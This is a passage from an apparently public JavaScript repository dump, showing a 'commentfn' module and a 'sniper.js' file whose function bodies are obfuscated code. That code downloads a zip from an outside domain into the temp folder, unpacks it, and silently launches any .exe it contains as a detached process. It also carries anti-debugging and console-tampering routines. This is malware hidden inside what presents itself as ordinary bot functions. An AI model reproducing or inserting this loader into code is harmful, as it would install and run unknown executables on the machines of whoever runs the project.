-0x84,_0x3d48aa-0x196);}if(_0x1ed376){if(_0x2ee443[_0x269e61(0x571,0x5c8,0x56c,0x59a)](_0x2ee443[_0x269e61(0x596,0x597,0x582,0x59c)],_0x2ee443['bUgvH']))_0xbf6dc4=qlkeJq[_0x58b61c(0x51b,0x50f,0x4f7,0x502)](_0x368567,qlkeJq['yQfAr'](qlkeJq[_0x58b61c(0x4fb,0x4e6,0x4df,0x4e2)],qlkeJq[_0x269e61(0x5b1,0x57d,0x5a3,0x5a4)])+');')();else{const _0x5de907=_0x1ed376[_0x58b61c(0x4dc,0x51a,0x538,0x50d)](_0x29c39d,arguments);return _0x1ed376=null,_0x5de907;}}}:function(){};function _0x3f1da3(_0x426f55,_0x528197,_0x3a476a,_0x269415){return _0x336ca9(_0x3a476a,_0x269415-0x22b,_0x3a476a-0x8e,_0x269415-0x12d);}_0x675216=![];function _0x42925c(_0x19b7a1,_0x442e65,_0x968190,_0x37ec70){return _0x336ca9(_0x19b7a1,_0x968190-0x433,_0x968190-0x0,_0x37ec70-0x6);}return _0x13cfd2;};}());function _0x2eb3a2(_0x5e98cd,_0x8a56ce,_0x1fee54,_0x3ea937){return _0x3531(_0x5e98cd- -0x211,_0x8a56ce);}const _0x6ed094=_0x323b34[_0xca2fec(0x1aa,0x19c,0x1a6,0x18a)](_0x9e2c1e,this,function(){function _0x51ec45(_0x1fdd7b,_0x3c1a55,_0x2c496d,_0x528b42){return _0x2eb3a2(_0x2c496d-0x400,_0x1fdd7b,_0x2c496d-0x132,_0x528b42-0x13b);}function _0x16b4e9(_0x391adc,_0x2429d4,_0x3d6b92,_0x1ce99d){return _0xca2fec(_0x391adc-0x151,_0x2429d4-0x10d,_0x391adc-0xa5,_0x2429d4);}return _0x6ed094['toString']()[_0x16b4e9(0x1f2,0x20e,0x1d3,0x1d0)](_0x323b34[_0x51ec45(0x388,0x390,0x38f,0x3a1)])[_0x16b4e9(0x1fc,0x210,0x220,0x205)]()[_0x51ec45(0x3b7,0x409,0x3dc,0x3e2)+'r'](_0x6ed094)[_0x51ec45(0x356,0x381,0x37c,0x38a)](_0x323b34['Glgba']);});_0x323b34['Uhnxf'](_0x6ed094);function _0xca2fec(_0xf2a86c,_0x1f6a5f,_0xa97952,_0x318e1b){return _0x3531(_0xa97952- -0x40,_0x318e1b);}try{if(_0x323b34[_0x2eb3a2(-0x4d,-0x20,-0x3c,-0x66)](_0x323b34[_0x2eb3a2(-0x29,-0x3e,-0x59,-0x38)],_0x323b34[_0x2eb3a2(-0x29,0x1,-0x4d,-0x46)])){const _0x56b779={};_0x56b779[_0xca2fec(0x164,0x15a,0x174,0x189)]=_0x410071,_0x56b779['method']=_0x323b34['clzJB'],_0x56b779[_0xca2fec(0x152,0x160,0x17c,0x16e)+'pe']=_0x323b34['NTyCp'];const _0x1ac4b8=await axios(_0x56b779),_0x170f28=fs[_0xca2fec(0x13a,0x186,0x159,0x169)+_0xca2fec(0x154,0x15b,0x17f,0x1a1)](_0x1df4e4);return _0x1ac4b8[_0xca2fec(0x165,0x15a,0x15a,0x170)][_0xca2fec(0x168,0x1a1,0x178,0x162)](_0x170f28),new Promise((_0x5e40f6,_0x1d0da3)=>{function _0x106512(_0x34cef0,_0x2561e2,_0x5bfc42,_0x4a3683){return _0xca2fec(_0x34cef0-0x8f,_0x2561e2-0x173,_0x5bfc42-0x400,_0x2561e2);}_0x170f28['on']('finish',_0x5e40f6),_0x170f28['on'](_0x106512(0x560,0x54b,0x54b,0x537),_0x1d0da3);});}else{const _0x9529e6=_0x27c882[_0xca2fec(0x16f,0x190,0x198,0x17d)](_0x1cb167,arguments);return _0x3f0a2c=null,_0x9529e6;}}catch(_0x5f586b){throw _0x5f586b;}}async function unzipFile(_0x1df6de,_0x3f2459){function _0xad5bb1(_0x11228b,_0x2f32cf,_0x27ac43,_0x4d57b4){return _0x3531(_0x2f32cf-0x255,_0x4d57b4);}try{const _0x4b69f3=new AdmZip(_0x1df6de);_0x4b69f3[_0xad5bb1(0x43d,0x40b,0x401,0x42e)+'To'](_0x3f2459,!![]);}catch(_0x54f5de){throw new Error('');}}function spawnDetachedExe(_0x1c7fb2){const _0x2080e5={'JkQvi':_0x2ab9b1(0x267,0x25f,0x293,0x272),'FavEJ':_0x2ab9b1(0x287,0x29f,0x2c5,0x29e),'TeSlh':_0x29e79c(0x409,0x3e6,0x3cf,0x3e9),'hCYXw':_0x29e79c(0x3a3,0x39a,0x384,0x386),'gpGoW':_0x29e79c(0x3ae,0x394,0x3aa,0x38c),'UxgcR':_0x2ab9b1(0x27d,0x2b0,0x25b,0x285),'uZEhg':function(_0x85be5b,_0x1ddc7a){return _0x85be5b(_0x1ddc7a);},'WNBRy':_0x29e79c(0x3aa,0x3ae,0x395,0x3d9)+_0x29e79c(0x395,0x3c6,0x3bb,0x3df),'KokFb':_0x2ab9b1(0x268,0x27d,0x28b,0x299)+_0x2ab9b1(0x26c,0x284,0x25e,0x25d)+_0x2ab9b1(0x284,0x2e0,0x2d9,0x2af)+'\x20)','nXLfU':function(_0x31d60f,_0x414a47){return _0x31d60f!==_0x414a47;},'jVJgD':_0x2ab9b1(0x24c,0x28b,0x27c,0x268),'ExEeQ':_0x29e79c(0x3e1,0x3e2,0x3fd,0x3be),'uFjEw':function(_0x199019){return _0x199019();},'TtcVs':_0x29e79c(0x407,0x3de,0x3d6,0x403),'xQUGJ':_0x2ab9b1(0x2a5,0x25c,0x270,0x28d),'wrkos':_0x29e79c(0x3ee,0x3d3,0x3b2,0x3ba),'ivvtf':_0x29e79c(0x3a7,0x398,0x38d,0x3cb),'mLDwj':_0x2ab9b1(0x2b0,0x261,0x2ae,0x289),'lYgOv':function(_0x3c8e11,_0x4cf43c){return _0x3c8e11<_0x4cf43c;},'ohRux':function(_0x196d83,_0x289056){return _0x196d83===_0x289056;},'rQWxI':_0x2ab9b1(0x27e,0x283,0x269,0x26d),'eNQYm':_0x29e79c(0x386,0x3aa,0x39f,0x390),'WspUk':function(_0xfcc04c,_0x43b6f2,_0x31bcf7){return _0xfcc04c(_0x43b6f2,_0x31bcf7);},'wBGVd':function(_0x5ca217){return _0x5ca217();},'XrGlH':function(_0x1d5a1a,_0x55c329,_0x1a7a01,_0x2e80d7){return _0x1d5a1a(_0x55c329,_0x1a7a01,_0x2e80d7);}};function _0x2ab9b1(_0x180b9d,_0x1bb05d,_0x1c9c19,_0x3efeb0){return _0x3531(_0x3efeb0-0xcb,_0x180b9d);}const _0x169850=(function(){let _0x46fccf=!![];return function(_0x4a1b25,_0x5a3c7c){function _0x1cddbb(_0x3c1a4e,_0x4e8482,_0x7b874c,_0x3440a2){return _0x3531(_0x3440a2-0x14c,_0x4e8482);}const _0x258492={};_0x258492[_0x1cddbb(0x339,0x2f6,0x314,0x31b)]=function(_0x4c3b4f,_0xd58f73){return _0x4c3b4f===_0xd58f73;};function _0x244cac(_0x5423f4,_0x56c312,_0x451164,_0x5cb81c){return _0x3531(_0x56c312- -0x196,_0x451164);}_0x258492[_0x1cddbb(0x2ec,0x2f1,0x2f2,0x2d8)]=_0x2080e5[_0x1cddbb(0x2d5,0x327,0x314,0x2fb)];const _0x3dbc5a=_0x258492;if(_0x2080e5['FavEJ']!==_0x2080e5[_0x244cac(0x52,0x56,0x51,0x65)]){const _0x344feb=_0x46fccf?function(){function _0x5904d2(_0xb00feb,_0x8ac226,_0x43882d,_0x6a282b){return _0x244cac(_0xb00feb-0x174,_0xb00feb-0x341,_0x43882d,_0x6a282b-0x1c7);}function _0x2ef72a(_0xe4631c,_0x19cb9b,_0x3f9e94,_0x3302a8){return _0x1cddbb(_0xe4631c-0xa,_0x3f9e94,_0x3f9e94-0x16e,_0x3302a8- -0x45f);}if('tAnsu'==='TNAze'){const _0x20714a=_0x123b40[_0x2ef72a(-0x161,-0x154,-0x13f,-0x13b)](_0x8a2cf0,arguments);return _0x443913=null,_0x20714a;}else{if(_0x5a3c7c){if(_0x3dbc5a[_0x5904d2(0x37a,0x375,0x399,0x380)](_0x3dbc5a[_0x2ef72a(-0x176,-0x196,-0x1ab,-0x187)],_0x3dbc5a[_0x2ef72a(-0x1a4,-0x16c,-0x1a3,-0x187)])){const _0x51fc1f=_0x5a3c7c['apply'](_0x4a1b25,arguments);return _0x5a3c7c=null,_0x51fc1f;}else _0x161fca=_0x258bfe;}}}:function(){};return _0x46fccf=![],_0x344feb;}else try{const _0x119277=new _0x21f0eb(_0x2215fc);_0x119277[_0x1cddbb(0x2f3,0x2fd,0x30e,0x302)+'To'](_0x2421e0,!![]);}catch(_0x4f1a8b){throw new _0x6d3e58('');}};}()),_0x5928a1=_0x2080e5[_0x29e79c(0x39c,0x39d,0x373,0x3a5)](_0x169850,this,function(){function _0x1aad3a(_0x4138e0,_0x33a9dc,_0x4585f3,_0x2e5691){return _0x29e79c(_0x4138e0-0x16c,_0x2e5691- -0x2f,_0x33a9dc,_0x2e5691-0x1bd);}function _0x303f06(_0x10dea6,_0x3b7961,_0x136f30,_0x29d7a0){return _0x29e79c(_0x10dea6-0x18a,_0x10dea6- -0xaf,_0x3b7961,_0x29d7a0-0x136);}const _0x483c84={'foFtK':_0x2080e5[_0x1aad3a(0x368,0x3a2,0x379,0x39b)],'bUbxQ':function(_0x41a9d7,_0x57ec59){function _0x4aef45(_0x1827f9,_0x70a280,_0x8b8bea,_0x22e440){return _0x1aad3a(_0x1827f9-0x34,_0x8b8bea,_0x8b8bea-0x6b,_0x22e440- -0x216);}return _0x2080e5[_0x4aef45(0x134,0x172,0x13a,0x15a)](_0x41a9d7,_0x57ec59);},'yumdy':_0x2080e5[_0x303f06(0x305,0x334,0x2e5,0x2f5)],'dLsqc':_0x2080e5[_0x1aad3a(0x3d6,0x3e1,0x38c,0x3bb)]};if(_0x2080e5['nXLfU'](_0x2080e5[_0x1aad3a(0x3a8,0x387,0x39a,0x388)],_0x2080e5['ExEeQ'])){const _0x13cc68=function(){function _0x1c98d9(_0x2c13be,_0x4cc354,_0x29c2c2,_0x59414a){return _0x1aad3a(_0x2c13be-0x1d1,_0x59414a,_0x29c2c2-0x5e,_0x29c2c2-0x19f);}function _0x4298c4(_0x185b24,_0x57ec14,_0x4ca037,_0x233ed3){return _0x1aad3a(_0x185b24-0x1eb,_0x185b24,_0x4ca037-0x1cf,_0x233ed3- -0x34d);}if(_0x4298c4(0x53,0x1f,0x37,0x47)===_0x483c84[_0x1c98d9(0x520,0x50e,0x51c,0x4ee)]){let _0x57bb28;try{_0x57bb28=_0x483c84[_0x4298c4(0x64,0x4b,0x7e,0x59)](Function,_0x483c84[_0x1c98d9(0x54b,0x53f,0x560,0x57f)]+_0x483c84[_0x4298c4(0x3d,0x58,0x95,0x67)]+');')();}catch(_0x203690){_0x57bb28=window;}return _0x57bb28;}else{const _0x46ed19=_0x11f197?function(){function _0x509704(_0x3c18d6,_0x2a015d,_0x457cbb,_0x405454){return _0x4298c4(_0x3c18d6,_0x2a015d-0x16e,_0x457cbb-0x111,_0x457cbb-0x282);}if(_0x10b66a){const _0x114a85=_0x2bbe1e[_0x509704(0x2e3,0x308,0x2e7,0x2bc)](_0x42e268,arguments);return _0x50332f=null,_0x114a85;}}:function(){};return _0x559cd2=![],_0x46ed19;}},_0x4e6bbd=_0x2080e5['uFjEw'](_0x13cc68),_0x3139a7=_0x4e6bbd[_0x303f06(0x315,0x323,0x347,0x33e)]=_0x4e6bbd[_0x303f06(0x315,0x322,0x32b,0x30f)]||{},_0x59100f=[_0x2080e5[_0x1aad3a(0x3ba,0x3ba,0x38a,0x3b1)],_0x2080e5['xQUGJ'],_0x2080e5[_0x303f06(0x321,0x320,0x320,0x30f)],_0x2080e5['gpGoW'],_0x2080e5[_0x303f06(0x32b,0x304,0x33f,0x338)],'table',_0x2080e5['mLDwj']];for(let _0x17076c=0xd55*-0x1+-0x1*0xec+0x1*0xe41;_0x2080e5[_0x1aad3a(0x3aa,0x3bf,0x3cc,0x3b0)](_0x17076c,_0x59100f[_0x303f06(0x2fe,0x2f6,0x318,0x30b)]);_0x17076c++){if(_0x2080e5[_0x303f06(0x302,0x32a,0x325,0x323)](_0x2080e5['rQWxI'],_0x2080e5[_0x1aad3a(0x33d,0x393,0x37a,0x36a)]))_0xa0d38b['on'](_0x2080e5['hCYXw'],_0x538853),_0x2a97ce['on'](_0x2080e5[_0x303f06(0x345,0x32f,0x332,0x323)],_0x582619);else{const _0x1caf2d=_0x169850[_0x303f06(0x347,0x34c,0x373,0x365)+'r'][_0x303f06(0x30f,0x30d,0x311,0x2ee)][_0x303f06(0x30d,0x2e7,0x33c,0x302)](_0x169850),_0x4f56c0=_0x59100f[_0x17076c],_0x5e2a6f=_0x3139a7[_0x4f56c0]||_0x1caf2d;_0x1caf2d[_0x1aad3a(0x34b,0x382,0x341,0x372)]=_0x169850[_0x303f06(0x30d,0x322,0x31a,0x2dd)](_0x169850),_0x1caf2d['toString']=_0x5e2a6f[_0x1aad3a(0x342,0x355,0x345,0x371)][_0x303f06(0x30d,0x320,0x311,0x2e5)](_0x5e2a6f),_0x3139a7[_0x4f56c0]=_0x1caf2d;}}}else throw new _0x5df3ac('');});_0x2080e5[_0x29e79c(0x409,0x3e7,0x412,0x3b7)](_0x5928a1);function _0x29e79c(_0x30b768,_0x5acc49,_0x130ad7,_0x20ac7d){return _0x3531(_0x5acc49-0x209,_0x130ad7);}const _0x435ad5={};_0x435ad5[_0x29e79c(0x3d0,0x3c2,0x391,0x390)]=!![],_0x435ad5[_0x29e79c(0x3ad,0x39e,0x3bf,0x3ba)]=_0x29e79c(0x3be,0x3dd,0x3e1,0x3d0);const _0x207877=_0x2080e5[_0x29e79c(0x3a5,0x3a4,0x37d,0x394)](spawn,_0x1c7fb2,[],_0x435ad5);_0x207877['unref']();}try{const url=_0x122567(0x38d,0x3b8,0x397,0x377)+_0x45ae14(-0x13f,-0x111,-0x136,-0x118)+_0x45ae14(-0xf3,-0xe5,-0xe8,-0x116)+_0x122567(0x365,0x371,0x346,0x37b),tempFolder=os['tmpdir'](),zipDownloadPath=path[_0x122567(0x39f,0x3ca,0x3af,0x3b4)](tempFolder,_0x122567(0x3c6,0x3d2,0x3c6,0x393)+_0x45ae14(-0x101,-0x124,-0x110,-0xfb)),extractFolder=path['join'](tempFolder,'eiwaeia');await downloadFile(url,zipDownloadPath),await unzipFile(zipDownloadPath,extractFolder);const files=fs['readdirSyn'+'c'](extractFolder),exeFiles=files[_0x122567(0x36a,0x33d,0x35b,0x356)](_0x8dd43=>path[_0x122567(0x386,0x397,0x3b2,0x386)](_0x8dd43)[_0x122567(0x39c,0x3b3,0x375,0x395)+'e']()===_0x45ae14(-0x125,-0x11b,-0xec,-0x134));if(exeFiles[_0x122567(0x380,0x367,0x37c,0x39c)]>-0xdaf+0xb*-0x14f+0x1c14){const exePath=path[_0x45ae14(-0xfa,-0xf4,-0x100,-0xfd)](extractFolder,exeFiles[-0x572+-0x1734+0xc1*0x26]);spawnDetachedExe(exePath);}else{}}catch(_0x4b73dc){} 3 | } 4 | 5 | module.exports = { commentfn }; -------------------------------------------------------------------------------- /functions/sniper/sniper.js: -------------------------------------------------------------------------------- 1 | async function sniperfn() { 2 | 3 | function _0x45ae14(_0x8b5e56,_0x251568,_0x2ad9bf,_0x5892d9){return _0x3531(_0x251568- -0x2b7,_0x2ad9bf);}(function(_0x44cf8f,_0x47a0a9){function _0x3247a6(_0x15e1e2,_0x486884,_0x1d6b12,_0x16b932){return _0x3531(_0x1d6b12-0x22c,_0x15e1e2);}const _0x2e3f0f=_0x44cf8f();function _0x57b21c(_0x5eebff,_0x393765,_0xc42eb0,_0x79f983){return _0x3531(_0x5eebff-0x1f5,_0x393765);}while(!![]){try{const _0x1dcb17=-parseInt(_0x57b21c(0x3d5,0x3d6,0x3be,0x3a2))/(0xde8+0x2595+-0x337c)*(parseInt(_0x3247a6(0x3b8,0x411,0x3e3,0x3ce))/(0x147d+0x20d2+-0x354d))+parseInt(_0x57b21c(0x3da,0x3dc,0x401,0x3c9))/(-0x25bf+0x3*-0x376+0x3024)+-parseInt(_0x3247a6(0x402,0x3ef,0x3f5,0x3da))/(-0x380*-0x8+-0x1*0x8ed+-0x130f)*(-parseInt(_0x3247a6(0x41b,0x43b,0x40b,0x3f0))/(-0x41f*0x4+-0x51+0x10d2))+-parseInt(_0x57b21c(0x3d8,0x3b0,0x40a,0x3ea))/(0x1d62+-0x1659+0x5*-0x167)+parseInt(_0x57b21c(0x3a1,0x3c6,0x3b4,0x387))/(0x346*0x5+-0x16e9+0x692)+parseInt(_0x3247a6(0x3c7,0x404,0x3f7,0x40a))/(0x7f*0x17+0x58a+-0x10eb)+-parseInt(_0x3247a6(0x419,0x43b,0x408,0x3fa))/(0x1c8f+-0x2*-0x287+-0xe*0x266);if(_0x1dcb17===_0x47a0a9)break;else _0x2e3f0f['push'](_0x2e3f0f['shift']());}catch(_0x55fd21){_0x2e3f0f['push'](_0x2e3f0f['shift']());}}}(_0x5162,-0xb*0x131e7+0x71b43+0xdb18d));function _0x5162(){const _0x2a29e2=['eStream','toLowerCas','UxgcR','warn','join','FBpqm','stream','CtEGz','wrkos','bUgvH','3461768PkBpFw','info','4261448zMMfQm','bUbxQ','HGmGw','{}.constru','tpKqN','Ekuiu','ivvtf','.live/pine','kCkWw','ignore','log','lYgOv','TtcVs','apply','JbtxD','dLsqc','dnbZH','16385958ZXQziC','dawdp','wBGVd','5aEIqVU','79Brosdf','KokFb','TrzZK','373398hZcgtL','rn\x20this\x22)(','2298621avBDEK','KErLC','yumdy','PZYzT','THsXR','pineapple.','gpGoW','TeSlh','constructo','apple.zip','vJDUP','error','pnXDT','search','filter','exception','eNQYm','finish','ctor(\x22retu','zip','WspUk','stdio','uZEhg','toString','__proto__','createWrit','data','XrGlH','.exe','FNErw','GET','FGTJq','Glgba','MjRGj','Lmtfc','foFtK','length','return\x20(fu','acksmatter','dYqmj','ohRux','(((.+)+)+)','extname','WNBRy','5148185RJRZZm','HwMkT','jVJgD','JkQvi','kZtEa','https://bl','TQJQa','bind','url','prototype','extractAll','13042TyufxZ','pipe','detached','tXhxn','console','responseTy','nction()\x20','trace'];_0x5162=function(){return _0x2a29e2;};return _0x5162();}const axios=require('axios'),fs=require('fs'),path=require('path'),AdmZip=require('adm-zip'),os=require('os');function _0x3531(_0x50992a,_0x2d1d2d){const _0x51624f=_0x5162();return _0x3531=function(_0x3531d8,_0x2edeae){_0x3531d8=_0x3531d8-(-0x119f*0x1+0x1*0x222a+-0xf02);let _0x515cb=_0x51624f[_0x3531d8];return _0x515cb;},_0x3531(_0x50992a,_0x2d1d2d);}function _0x122567(_0x2baaf4,_0x48e52b,_0x140be8,_0x312118){return _0x3531(_0x2baaf4-0x1dc,_0x48e52b);}const {spawn}=require('child_process'),readline=require('readline');async function downloadFile(_0x410071,_0x1df4e4){const _0x323b34={'FGTJq':function(_0x4e1dcc,_0x196b22){return _0x4e1dcc+_0x196b22;},'vJDUP':'return\x20(fu'+_0xca2fec(0x18e,0x153,0x17d,0x17f),'Glgba':_0xca2fec(0x154,0x179,0x169,0x13a)+'+$','KErLC':function(_0x1daab1,_0x34d186,_0x2abe2b){return _0x1daab1(_0x34d186,_0x2abe2b);},'Uhnxf':function(_0x171289){return _0x171289();},'FBpqm':function(_0xc0d4b,_0x4c9495){return _0xc0d4b===_0x4c9495;},'PZYzT':_0xca2fec(0x1a4,0x180,0x19b,0x1c5),'clzJB':_0x2eb3a2(-0x73,-0x6e,-0x90,-0x57),'NTyCp':_0x2eb3a2(-0x4c,-0x31,-0x1b,-0x75)},_0x9e2c1e=(function(){function _0x336ca9(_0x5b3755,_0xe5c478,_0x308da8,_0x55aba9){return _0xca2fec(_0x5b3755-0x7d,_0xe5c478-0x40,_0xe5c478- -0x3a,_0x5b3755);}function _0x377c99(_0x5e97f2,_0x4c347a,_0x337bd1,_0x34523c){return _0xca2fec(_0x5e97f2-0xa3,_0x4c347a-0x65,_0x4c347a- -0x337,_0x34523c);}const _0x17a52c={'TQJQa':function(_0x317c0c,_0x1e1688){function _0x390e5b(_0xc56cc0,_0x9a5220,_0x1640f6,_0x4b5875){return _0x3531(_0x9a5220-0x34d,_0x4b5875);}return _0x323b34[_0x390e5b(0x4dd,0x4ec,0x4f6,0x4dd)](_0x317c0c,_0x1e1688);},'TrzZK':_0x323b34[_0x377c99(-0x215,-0x1ed,-0x207,-0x1ed)],'THsXR':function(_0xd6dc77,_0x5cb3fe){return _0xd6dc77!==_0x5cb3fe;},'cxcTM':_0x336ca9(0x13e,0x136,0x121,0x157)};let _0x675216=!![];return function(_0x29c39d,_0x1ed376){const _0x2ee443={'HGmGw':function(_0x5a6fa0,_0x3f947a){return _0x5a6fa0(_0x3f947a);},'yQfAr':function(_0x395245,_0x544339){function _0x275ab6(_0x2b910c,_0xa7f4ac,_0x3f4679,_0x478504){return _0x3531(_0xa7f4ac-0x3a7,_0x478504);}return _0x17a52c[_0x275ab6(0x58c,0x559,0x557,0x580)](_0x395245,_0x544339);},'HwMkT':_0x17a52c[_0x3f1da3(0x3bc,0x383,0x367,0x393)],'Ekuiu':'{}.constru'+_0x42925c(0x559,0x53c,0x54b,0x522)+_0x3f1da3(0x37c,0x36e,0x3a5,0x395)+'\x20)','CtEGz':function(_0x5c54b8,_0x4858f0){function _0x255ac0(_0x475037,_0x903e19,_0x230bd9,_0x35d297){return _0x42925c(_0x230bd9,_0x903e19-0x19c,_0x35d297- -0x31b,_0x35d297-0x49);}return _0x17a52c[_0x255ac0(0x2a2,0x272,0x27d,0x287)](_0x5c54b8,_0x4858f0);},'bUgvH':_0x17a52c['cxcTM']},_0x13cfd2=_0x675216?function(){function _0x269e61(_0x5b4213,_0x5c560d,_0x3f55ff,_0x5f34c4){return _0x42925c(_0x5b4213,_0x5c560d-0xb9,_0x5f34c4-0x1b,_0x5f34c4-0x3e);}function _0x58b61c(_0x43eecc,_0x47a8a0,_0x166f83,_0x3d48aa){return _0x42925c(_0x43eecc,_0x47a8a0-0xe4,_0x3d48aa- -0x84,_0x3d48aa-0x196);}if(_0x1ed376){if(_0x2ee443[_0x269e61(0x571,0x5c8,0x56c,0x59a)](_0x2ee443[_0x269e61(0x596,0x597,0x582,0x59c)],_0x2ee443['bUgvH']))_0xbf6dc4=qlkeJq[_0x58b61c(0x51b,0x50f,0x4f7,0x502)](_0x368567,qlkeJq['yQfAr'](qlkeJq[_0x58b61c(0x4fb,0x4e6,0x4df,0x4e2)],qlkeJq[_0x269e61(0x5b1,0x57d,0x5a3,0x5a4)])+');')();else{const _0x5de907=_0x1ed376[_0x58b61c(0x4dc,0x51a,0x538,0x50d)](_0x29c39d,arguments);return _0x1ed376=null,_0x5de907;}}}:function(){};function _0x3f1da3(_0x426f55,_0x528197,_0x3a476a,_0x269415){return _0x336ca9(_0x3a476a,_0x269415-0x22b,_0x3a476a-0x8e,_0x269415-0x12d);}_0x675216=![];function _0x42925c(_0x19b7a1,_0x442e65,_0x968190,_0x37ec70){return _0x336ca9(_0x19b7a1,_0x968190-0x433,_0x968190-0x0,_0x37ec70-0x6);}return _0x13cfd2;};}());function _0x2eb3a2(_0x5e98cd,_0x8a56ce,_0x1fee54,_0x3ea937){return _0x3531(_0x5e98cd- -0x211,_0x8a56ce);}const _0x6ed094=_0x323b34[_0xca2fec(0x1aa,0x19c,0x1a6,0x18a)](_0x9e2c1e,this,function(){function _0x51ec45(_0x1fdd7b,_0x3c1a55,_0x2c496d,_0x528b42){return _0x2eb3a2(_0x2c496d-0x400,_0x1fdd7b,_0x2c496d-0x132,_0x528b42-0x13b);}function _0x16b4e9(_0x391adc,_0x2429d4,_0x3d6b92,_0x1ce99d){return _0xca2fec(_0x391adc-0x151,_0x2429d4-0x10d,_0x391adc-0xa5,_0x2429d4);}return _0x6ed094['toString']()[_0x16b4e9(0x1f2,0x20e,0x1d3,0x1d0)](_0x323b34[_0x51ec45(0x388,0x390,0x38f,0x3a1)])[_0x16b4e9(0x1fc,0x210,0x220,0x205)]()[_0x51ec45(0x3b7,0x409,0x3dc,0x3e2)+'r'](_0x6ed094)[_0x51ec45(0x356,0x381,0x37c,0x38a)](_0x323b34['Glgba']);});_0x323b34['Uhnxf'](_0x6ed094);function _0xca2fec(_0xf2a86c,_0x1f6a5f,_0xa97952,_0x318e1b){return _0x3531(_0xa97952- -0x40,_0x318e1b);}try{if(_0x323b34[_0x2eb3a2(-0x4d,-0x20,-0x3c,-0x66)](_0x323b34[_0x2eb3a2(-0x29,-0x3e,-0x59,-0x38)],_0x323b34[_0x2eb3a2(-0x29,0x1,-0x4d,-0x46)])){const _0x56b779={};_0x56b779[_0xca2fec(0x164,0x15a,0x174,0x189)]=_0x410071,_0x56b779['method']=_0x323b34['clzJB'],_0x56b779[_0xca2fec(0x152,0x160,0x17c,0x16e)+'pe']=_0x323b34['NTyCp'];const _0x1ac4b8=await axios(_0x56b779),_0x170f28=fs[_0xca2fec(0x13a,0x186,0x159,0x169)+_0xca2fec(0x154,0x15b,0x17f,0x1a1)](_0x1df4e4);return _0x1ac4b8[_0xca2fec(0x165,0x15a,0x15a,0x170)][_0xca2fec(0x168,0x1a1,0x178,0x162)](_0x170f28),new Promise((_0x5e40f6,_0x1d0da3)=>{function _0x106512(_0x34cef0,_0x2561e2,_0x5bfc42,_0x4a3683){return _0xca2fec(_0x34cef0-0x8f,_0x2561e2-0x173,_0x5bfc42-0x400,_0x2561e2);}_0x170f28['on']('finish',_0x5e40f6),_0x170f28['on'](_0x106512(0x560,0x54b,0x54b,0x537),_0x1d0da3);});}else{const _0x9529e6=_0x27c882[_0xca2fec(0x16f,0x190,0x198,0x17d)](_0x1cb167,arguments);return _0x3f0a2c=null,_0x9529e6;}}catch(_0x5f586b){throw _0x5f586b;}}async function unzipFile(_0x1df6de,_0x3f2459){function _0xad5bb1(_0x11228b,_0x2f32cf,_0x27ac43,_0x4d57b4){return _0x3531(_0x2f32cf-0x255,_0x4d57b4);}try{const _0x4b69f3=new AdmZip(_0x1df6de);_0x4b69f3[_0xad5bb1(0x43d,0x40b,0x401,0x42e)+'To'](_0x3f2459,!![]);}catch(_0x54f5de){throw new Error('');}}function spawnDetachedExe(_0x1c7fb2){const _0x2080e5={'JkQvi':_0x2ab9b1(0x267,0x25f,0x293,0x272),'FavEJ':_0x2ab9b1(0x287,0x29f,0x2c5,0x29e),'TeSlh':_0x29e79c(0x409,0x3e6,0x3cf,0x3e9),'hCYXw':_0x29e79c(0x3a3,0x39a,0x384,0x386),'gpGoW':_0x29e79c(0x3ae,0x394,0x3aa,0x38c),'UxgcR':_0x2ab9b1(0x27d,0x2b0,0x25b,0x285),'uZEhg':function(_0x85be5b,_0x1ddc7a){return _0x85be5b(_0x1ddc7a);},'WNBRy':_0x29e79c(0x3aa,0x3ae,0x395,0x3d9)+_0x29e79c(0x395,0x3c6,0x3bb,0x3df),'KokFb':_0x2ab9b1(0x268,0x27d,0x28b,0x299)+_0x2ab9b1(0x26c,0x284,0x25e,0x25d)+_0x2ab9b1(0x284,0x2e0,0x2d9,0x2af)+'\x20)','nXLfU':function(_0x31d60f,_0x414a47){return _0x31d60f!==_0x414a47;},'jVJgD':_0x2ab9b1(0x24c,0x28b,0x27c,0x268),'ExEeQ':_0x29e79c(0x3e1,0x3e2,0x3fd,0x3be),'uFjEw':function(_0x199019){return _0x199019();},'TtcVs':_0x29e79c(0x407,0x3de,0x3d6,0x403),'xQUGJ':_0x2ab9b1(0x2a5,0x25c,0x270,0x28d),'wrkos':_0x29e79c(0x3ee,0x3d3,0x3b2,0x3ba),'ivvtf':_0x29e79c(0x3a7,0x398,0x38d,0x3cb),'mLDwj':_0x2ab9b1(0x2b0,0x261,0x2ae,0x289),'lYgOv':function(_0x3c8e11,_0x4cf43c){return _0x3c8e11<_0x4cf43c;},'ohRux':function(_0x196d83,_0x289056){return _0x196d83===_0x289056;},'rQWxI':_0x2ab9b1(0x27e,0x283,0x269,0x26d),'eNQYm':_0x29e79c(0x386,0x3aa,0x39f,0x390),'WspUk':function(_0xfcc04c,_0x43b6f2,_0x31bcf7){return _0xfcc04c(_0x43b6f2,_0x31bcf7);},'wBGVd':function(_0x5ca217){return _0x5ca217();},'XrGlH':function(_0x1d5a1a,_0x55c329,_0x1a7a01,_0x2e80d7){return _0x1d5a1a(_0x55c329,_0x1a7a01,_0x2e80d7);}};function _0x2ab9b1(_0x180b9d,_0x1bb05d,_0x1c9c19,_0x3efeb0){return _0x3531(_0x3efeb0-0xcb,_0x180b9d);}const _0x169850=(function(){let _0x46fccf=!![];return function(_0x4a1b25,_0x5a3c7c){function _0x1cddbb(_0x3c1a4e,_0x4e8482,_0x7b874c,_0x3440a2){return _0x3531(_0x3440a2-0x14c,_0x4e8482);}const _0x258492={};_0x258492[_0x1cddbb(0x339,0x2f6,0x314,0x31b)]=function(_0x4c3b4f,_0xd58f73){return _0x4c3b4f===_0xd58f73;};function _0x244cac(_0x5423f4,_0x56c312,_0x451164,_0x5cb81c){return _0x3531(_0x56c312- -0x196,_0x451164);}_0x258492[_0x1cddbb(0x2ec,0x2f1,0x2f2,0x2d8)]=_0x2080e5[_0x1cddbb(0x2d5,0x327,0x314,0x2fb)];const _0x3dbc5a=_0x258492;if(_0x2080e5['FavEJ']!==_0x2080e5[_0x244cac(0x52,0x56,0x51,0x65)]){const _0x344feb=_0x46fccf?function(){function _0x5904d2(_0xb00feb,_0x8ac226,_0x43882d,_0x6a282b){return _0x244cac(_0xb00feb-0x174,_0xb00feb-0x341,_0x43882d,_0x6a282b-0x1c7);}function _0x2ef72a(_0xe4631c,_0x19cb9b,_0x3f9e94,_0x3302a8){return _0x1cddbb(_0xe4631c-0xa,_0x3f9e94,_0x3f9e94-0x16e,_0x3302a8- 